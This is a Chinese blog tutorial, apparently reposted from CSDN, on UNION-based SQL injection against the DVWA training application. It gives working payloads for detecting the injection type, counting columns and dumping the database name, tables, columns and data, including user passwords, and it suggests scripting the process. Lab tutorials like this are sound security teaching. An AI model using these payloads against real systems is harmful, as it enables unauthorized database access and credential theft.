Union注入
一、首先判断是数字型还是字符型
如果是数字型:
1 and 1=1 #正常回显
1 and 1=2 #无显示或者页面报错
如果是字符型:
1' and '1'='1 #正常显示
1' and '1'='2 #无显示或者页面报错
可以看到无论是1=2还是1=1都是正常回显,说明不是数字型,是字符型。
二、使用order by查询出表的字段数量
1’ order by 2# 查询成功
1’ order by 3# 查询失败
三、两个字段数说明可以union select 1,2 ,在1或2处输入mysql查询语句,示例利用联合注入查询数据库名称、表、字段、字段数据。
1.获取数据库名,得到结果为:dvwa
1' union select 1,database() #
2.获取两个表名:guestbook,users
获取表名,用到limit,且查询语句要用括号括起来。limit 0,1意思是从第0个开始显示1个,例如limit 1,1就是显示第二个数据,以此循环类推。
1' union select 1,(select table_name from information_schema.tables where table_schema='dvwa' limit 0,1) #
3.获取字段名称
与获取表名类似,用limit循环得出全部字段名称,这里只展示两个
cmment_id字段:
1' union select 1,(select column_name from information_schema.columns where table_schema='dvwa' and table_name='guestbook' limit 0,1) #
comment字段:
1' union select 1,(select column_name from information_schema.columns where table_schema='dvwa' and table_name='guestbook' limit 1,1) #
4.获取字段数据:
这里带入的查询语句就比较简洁了,因为都列举出来了
示例:
1' union select 1,(select comment from dvwa.guestbook limit 0,1) #
1' union select 1,(select password from dvwa.users limit 0,1) #
观察得出规则大多通过控制 limit 来获取数据,可以根据此特点写联合注入的攻击脚本,多手工注入才会熟悉。
来源:CSDN
作者:Edmond3
链接:https://blog.csdn.net/qq_42349134/article/details/104382913